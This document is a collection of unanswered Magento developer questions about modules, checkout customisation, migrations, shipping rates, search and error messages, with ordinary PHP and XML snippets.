What did I do wrong?


texts: What are the advantages to magento using Prototype

texts:
From what I have been able to see jQuery appears to be the js library of choice in nearly every web system/framework/cms. It also seems to be a more intuitive and powerful library but that is subjective I suppose.

Does prototype provide any functionality that jquery doesn't necessary for magento to do what it does?

Is there any performance advantages to using prototype?

Would it be a good idea to use prototype, instead of jquery, for custom js on the frontend of a magento site?


texts: Check if order paid by card (Visa/MasterCard)

texts:
Please, explain, how can I check if order paid by (credit/debit) card?

I need to check if order paid by card in observer. I know only order id.


texts: Upon load Magento shows logo twice and after few ms it display properly

texts: This Magento store is live from July it has this strange issue, upon load it shows logo twice on almost all pages and after a ms it displays properly. I am not able to understand how to describe it more effectively, so this images here for ,  and . It is more visible on chrome.


texts: how to add "gender" resp. a salutation to customer address?

texts:
I like to add gender (or a salutation) to the customer's address. While the gender already for a customer exists, I thought I can simply reuse it but somehow I get stuck at the source model which should populate the values for the gender dropdown.

Problem: The field "Gender" appears as drop-down in my customer address section in the admin backend but has no options which I can choose.

So here a summary of what  I did. Basically, I followed the steps at these 2 pages:

Add Field to Customer Address
Add Field to Customer with Options

But I didn't extend the model for the customer's address, because I think it is not necessary?

$setup = new Mage_Eav_Model_Entity_Setup('core_setup');
$setup->addAttribute('customer_address', 'gender', array(
        'type' => 'int',
        'input' => 'select',
        'label' => 'Gender',
        'global' => 1,
        'visible' => 1,
        'required' => 0,
        'user_defined' => 1,
        'default' => '0',
        'visible_on_front' => 1,
        'source' => 'eav/entity_attribute_source_table',
));

Mage::getSingleton('eav/config')
->getAttribute('customer_address', 'gender')
->setData('used_in_forms', array('adminhtml_customer_address'))
->save();

While I am "reusing" source model "eav/entity_attribute_source_table" from the customer gender I thought it would be automatically populated with the options. But it is not the case. Any ideas what I missed or need to be modified? Thank you in advance.


texts: After M1 to M2 migration, Checkout page blank (only logo is showing)

texts:
I've migrated from Magento 1.9.3.4 to Magento 2.1.8 but when I goto checkout page (after adding a product to cart) it shows empty page, the only logo is showing, while other pages are fine.

Screenshot:


texts:
What is Data Persistor? How and when it can be used?

I can see its usage in

vendor/magento/module-cms/Controller/Adminhtml/Page/Index.php

inside execute() method

$dataPersistor = $this->_objectManager->get(\Magento\Framework\App\Request\DataPersistorInterface::class);
$dataPersistor->clear('cms_page');


texts: Table rates don't appear in other stores

texts:
I am having a weird trouble whith Magento 1.9.1.1

I have imported local table rates to MAIN config and it works great on www.domain.com but when I use a different language store, the paid shipping option does not even appear and only includes free shipping module.

If I switch to default engish store, and select that other country, the paid shipping method is here and correctly calculated. This happens with all stores in other languages, de, fr, etc. Any ideas?


texts: Update all bundle products add new options and add products to this option by id?

texts:
I have 50 bundle products.
I need to add a new option to all products, and add products by id to it, how can I implement this programmatically?
Magento 2.2.2


texts: Error upgrading Magento from 1.7.0.2 to 1.9.0.1: called getAllOptions() on a non-object app/code/core/Mage/Core/Model/Cache.php on line 478

texts:
I'm trying to update from 1.7.0.2 to 1.9.0.1

I tried to update from Magento Connect and by ./mage scripts.
Then I found this roadmap and today morning I also tried this way.

By all the ways, when I call the URL of my site I get immediately a blank page and this error in the apache log:

PHP Fatal error:  Call to a member function getAllOptions() on a non-object in /home/MYSITE/19_www/app/code/core/Mage/Core/Model/Cache.php on line 478

Searching the web someone speak about a problem with Aitoc extensions which should be updated.
This could be my case so in the morning I also try to delete all Aitoc and AdjustWare modules by removing folders in /app/code/... and removing xml files from /app/etc/modules.
After that I get this error:

PHP Fatal error:  Class 'Aitoc_Aitsys_Model_Rewriter_Autoload' not found in /home/MYSITE/19_www/app/code/local/Mage/Core/Model/App.php on line 6

So It seems that Aitoc modules are anyway loaded or requested.

Could someone help me?


texts: How do I add a simple textarea in grid in admin panel?

texts:
This is my function:

public function _prepareToRender()
{
        $this->addColumn('note', array(
            'header'           => Mage::helper('mynamespace_mymodule')->__('Note'),
            'align'            => 'center',
            'renderer'         => 'mymodule/adminhtml_form_field_content',
            'index'            => 'note',
        ));
}

and this is the content of the Content.php file:

class Mynamespace_Mymodule_Block_Adminhtml_Form_Field_Content extends Mage_Adminhtml_Block_Widget_Grid_Column_Renderer_Input
{
    public function render(Varien_Object $row)
    {
      //......
    }
}

I am not sure if i extended the right class in order to create a textarea in my grid. Also I do not know what I have to write in my render function. Can you help me and explain me how do i create a textarea in a grid in Magento ? Thx in advance


texts: Magento 1.9 - What is the best way to edit core files?

texts:
I need to edit:

  app/design/adminhtml/default/default/template/sales/order/view/items.phtml

editing core files is dangerous, may I know how can I edit without affect core files.

eg: Some case we can edit the file

  app\design\frontend\default\theme327k\template

instead of edit core path

  app\design\frontend\base\default\template

. Same how to follow in app/design/adminhtml?


texts: Is it possible to insert a prefix in front of existing SKU's?

texts:
We are looking to insert 2 digits in front of all of our SKU's to help make them more unique and to make them differ from everyone else's who sell the same product. Is it possible using SQL to perform this?

So for example looking to make an SKU like:

ABC123

become -

ZX-ABC123

Any ideas on a starting point at least? We have over 150,000 SKU's so it's not something we can manually do unfortunately.


texts:
I am developing a custom module where an xml file will be created after order completion for each order.

I have called a function exportOrder on occuring of an event "sales_order_place_after". Following is the code of my function

public function exportOrder($order){
    $dirPath = Mage::getBaseDir('var').DS.'export';

    //if the export directory does not exist, create it
    if (!is_dir($dirPath)) {
         mkdir($dirPath, 0777, true);
    }

    $data = $order->getData();

    $xml = new SimpleXMLElement('<root/>');
    array_walk_recursive($data, array ($xml, 'addChild'));

    file_put_contents(
        $dirPath.DS.$order->getIncrementId().'.xml',
        $xml->asXML()
    );

Now here on line no 12 ie: $data->getData(); I am getting an error

  Fatal error: Call to a member function getData() on a non-object in /home/user_www/aliasgar/magentotesting/app/code/local/Meteorify/Observerexample/Model/Export.php on line 12

My config.xml is as follows

<global>
<helpers>
    <orderexport>
        <class>Meteorify_Observerexample_Helper</class>
    </orderexport>
</helpers>
<models>
    <meteorify_observerexample>
         <class>Meteorify_Observerexample_Model</class>
    </meteorify_observerexample>
</models>
<events>
  <checkout_onepage_controller_success_action>
    <observers>
      <sales_order_place_after>
        <type>singleton</type>
        <class>Meteorify_Observerexample_Model_Observer</class>
        <method>exportOrder</method>
      </sales_order_place_after>
    </observers>
  </checkout_onepage_controller_success_action>
</events>

This is how my Observer.php file looks

class Meteorify_Observerexample_Model_Observer extends Varien_Object{

public function exportOrder($observer) {
    $order = $observer->getEvent()->getOrder();
    Mage::log($order);
    Mage::getModel('meteorify_observerexample/export')->exportOrder($order);
    return true;
}

}

I am not able to figure out the mistake. Please help me in this


texts: Magento 2 how to use Elasticsearch partial string

texts:
I want to search by partial string of a SKU, for example, if product sku is "test123" if customer search by test then it is not showing result.
But it is only showing result if customer searches complete SKU "test123".
I am using elsaticesearch6 and magento2.3.
How can I achive this in magento2? Thank you for help in advance.


texts:
In my admin backend, it does not display table headers correctly, please check the attached image.

What could be the reason for this and how to fix it?

Thanks


texts: new magento install - how to get any product or category page to show up - anything other than the home page

texts:
Bear with me as I'm new to magento and completely lost here. I'm used to php/html coding but thought this shopping cart would have allowed a regular user without any programming knowledge to create a online store -- it does have a backend that seems to bear functions that allow this at first glance. Then I downloaded latest magento CE 1.9.1.1 and installed following instructions. Installation was a breeze I admit that. But then nothing works beyond the home page.

I installed magento with the sample data provided by magento web site. So on home page, there're products showing with nice pictures etc. But the home page is the only thing that shows up. Clicking on any link gives me a 'page not found' error. For example, clicking on the "women" category (on home page), the url address showing on my browser address bar is "/women.html", which I suppose should be the category page to display women products -- keep in mind I installed original magento sample data successfully so the product/category data is indeed in database. When I looked around in magento backend - CMS page, I don't see a category template page or product page at all.

My background is from another shopping cart years ago and we used to use one html template page to use for displaying any category or product, so there's one category page, and one product page, and each is just a template so they can be used for any category or any product. I would think magento should be doing the same? WHERE exactly is this page? I did see some phtml files under "app/design/frontend/rwd/default/template/catalog/product/" folder, which looks like what should be used -- everything I set up is in default setting so theme is also the default rwd.


texts:
What is the most efficient way to get a single, random, 5 star review (from any/all products).

I'm trying to display a single random review on our homepage.  Here's what I'm working with currently but it has several issues.

$review = Mage::getModel('review/review');
$collection = $review->getProductCollection();
$collection
    ->addAttributeToSelect('*')
    ->getSelect()
            ->limit(5)
            ->order('rand()');
$review->appendSummary($collection);

foreach($collection as $product) {
$ratingSummary = $product->getRatingSummary();
$starRating = $ratingSummary['rating_summary'];

if($starRating == 100) {
    echo "<h1>". $product->getDetail() ."</h1>";
}


texts: addAttributeToFilter() - does second argument need to be escaped?

texts:
Does a second argument in

$collection->addAttributeToFilter('col3', $second_argument)

need to be escaped or not(Magento escapes it/uses parametrized queries) when it's provided by the user?


texts: Discount/Coupon Code Block not working on onepage checkout page

texts:
I have added discount coupon code block on Onepage checkout page

As, reference URL: https://stackoverflow.com/questions/28759782/magento-how-to-add-promo-code-form-on-one-page-checout-page

But, I am getting error "ReferenceError: discountFormsubmit is not defined" on click "Apply Coupon" button.

I am getting error in RWD theme also.

I have added following code :

"<block type="checkout/cart_coupon" name="checkout.cart.coupon" as="coupon" template="checkout/cart/coupon.phtml"/>" in "checkout.xml" file.

In "One page checkout order review block"

<checkout_onepage_review translate="label"> <label>One Page Checkout Overview</label>

And call coupon code in following file:

"app/design/frontend/base/default/template/checkout/onepage/review/info.phtml" as "<?php echo $this->getChildHtml('coupon') ?>"


texts:
When i try to open my site it is not opening, same as my back end as i added the error below.

Adminpanel issue in site.


texts: Move "My billing and shipping address are the same" to shipping section

texts:
I am developing a shopping site. In the one page checkout, the "My billing and shipping address are the same" section is in the payment method. I want it to be below the Billing address. The payment method will stay at its own place. I just want to move the checkbox with the address to billing method section.
How can I achieve this?
thanks in advance


texts: Error while trying to install new module in magento

texts:
I am trying to install new module in magento 1.9 after downloading it from magento connect. But when i try to upload it gives me error.

Error being produced.

CONNECT ERROR: Package file is invalid
Invalid package name, allowed: [a-zA-Z0-9_-] chars
Invalid version, should be like: x.x.x
Invalid stability
Invalid date, should be YYYY-DD-MM
Invalid channel URL
Empty authors section
Empty package contents section

Any suggestions will be appreciated.


texts: We can't save the invoice right now Syntax error or access violation: 1103 Incorrect table name '', query was: INSERT INTO `` () VALUES ()

texts:
Unable to generate invoice in admin order view.
i saw exception log then found this error

SQLSTATE[42000]: Syntax error or access violation: 1103 Incorrect table name '', query was: INSERT INTO `` () VALUES ()

anyone have an idea for that


texts: How can i add coupon code on sidebar(order summary) in checkout page

texts:
How can i add the coupon section in sidebar(order summary) of checkout page.

I wanted the coupon to be between the products and shipping cost.


texts: Getting Braintree payments to work with One Step Checkout by iDev

texts:
We are trying to integrate Braintree payments with our one step checkout within in Magento 1.9.1.

Has anybody been able to get braintree working with a multistore magento?

When we turn off One Step Checkout we can connect to the braintree sandbox fine and perform test transactions. Each time we enable it we get the following error:

The requested Payment Method is not available.

XXX\app\code\core\Mage\Payment\Model\Info.php(82): Mage::throwException('The requested P...')
XXX\app\code\core\Mage\Sales\Model\Quote\Payment.php(218): Mage_Payment_Model_Info->getMethodInstance()
XXX\app\code\local\Braintree\Payments\Block\Form.php(34): Mage_Sales_Model_Quote_Payment->getMethodInstance()
[internal function]: Braintree_Payments_Block_Form->setMethodInfo()
XXX\app\code\core\Mage\Core\Model\Layout.php(348): call_user_func_array(Array, Array)
XXX\app\code\core\Mage\Core\Model\Layout.php(214): Mage_Core_Model_Layout->_generateAction(Object(Mage_Core_Model_Layout_Element), Object(Mage_Core_Model_Layout_Element))
XXX\app\code\core\Mage\Core\Model\Layout.php(206): Mage_Core_Model_Layout->generateBlocks(Object(Mage_Core_Model_Layout_Element))
XXX\app\code\core\Mage\Core\Model\Layout.php(210): Mage_Core_Model_Layout->generateBlocks(Object(Mage_Core_Model_Layout_Element))
XXX\app\code\core\Mage\Core\Controller\Varien\Action.php(344): Mage_Core_Model_Layout->generateBlocks()
XXX\app\code\core\Mage\Core\Controller\Varien\Action.php(269): Mage_Core_Controller_Varien_Action->generateLayoutBlocks()
XXX\app\code\local\Idev\OneStepCheckout\controllers\IndexController.php(49): Mage_Core_Controller_Varien_Action->loadLayout()
XXX\app\code\core\Mage\Core\Controller\Varien\Action.php(418): Idev_OneStepCheckout_IndexController->indexAction()
XXX\app\code\core\Mage\Core\Controller\Varien\Router\Standard.php(254): Mage_Core_Controller_Varien_Action->dispatch('index')
XXX\app\code\core\Mage\Core\Controller\Varien\Front.php(172): Mage_Core_Controller_Varien_Router_Standard->match(Object(Mage_Core_Controller_Request_Http))
XXX\app\code\core\Mage\Core\Model\App.php(354): Mage_Core_Controller_Varien_Front->dispatch()
XXX\app\Mage.php(684): Mage_Core_Model_App->run(Array)
XXX\index.php(87): Mage::run('', 'store')
{main}


texts: path of 2columns-left.phtml file in magento2

texts:
I need to change div sequence in 2columns-left layout view, But didn't find the respective file in Magento2. As we have in page/2columns-left.phtml file in magento-1.

Please let me know the path of layout files in Magento-2

Thanks...


texts: Need to Restrict shipping in Magento 1.9 to only 48 contiguous state

texts:
We've set up the site to only being able to purchase within the United States, but many of the US Territories are showing up in the checkout like Guam, Puerto Rico, etc. Is there any way to remove them?

All I can find are steps on how to deal with them in regards to Free Shipping, but that's not what I need.


texts: Is it possible to add a new tab to Admin Dashboard using custom module in Magento 2

texts: Is it possible to add new tab to the tabs in Admin Dashboard